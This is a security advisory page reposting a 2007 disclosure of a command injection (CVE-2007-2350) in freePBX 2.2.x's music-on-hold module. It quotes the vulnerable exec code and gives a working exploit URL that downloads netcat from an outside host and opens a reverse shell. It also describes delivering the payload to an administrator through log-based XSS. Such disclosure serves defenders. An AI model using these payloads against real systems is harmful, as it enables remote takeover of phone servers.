SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

freePBX 2.2.x's Music-on-hold Remote Code Execution Injection


Arrow  SecurityAlert : 2652
Arrow  CVE : CVE-2007-2350
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : XenoMuta
Arrow  Published : 02.05.2007

Arrow  Affected Software : freePBX 2.2.x



Arrow  Advisory Content :  

I've found a code injection in the music-on-hold module at freePBX's
portal.

There are Inssuficient filters in the delete functions. Only " '
and ; are being filtered.

Vulnerable Lines:
300: $rmcmd="rm -f "".$path_to_dir."/".
$del.""";
301: exec($rmcmd);


Example code:
http://<freePBX-host>/admin/config.php?display=music&del=`wget -q
http://xenomuta.coolinc.info/nc -O /tmp/nc``/tmp/nc
myhost.mydomain.com 1234 -e /bin/sh`&category=default


You can inject this code without access to the portal into the /var/
log/asterisk/full this way...
./asteriskxss.php asterisk-server "<img src="/admin/config.php?
display=music&del=`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc
``/tmp/nc myhost.mydomain.com 1234 -e /bin/sh`&category=default">"
hoping that an administrator to view the logs from the portals....
using the documented XSS vulnerability posted here...

http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/
053882.html


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2425 bytes
Desc: not available
Url :
http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20070421/af7
f0d9a/attachment.bin

























Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.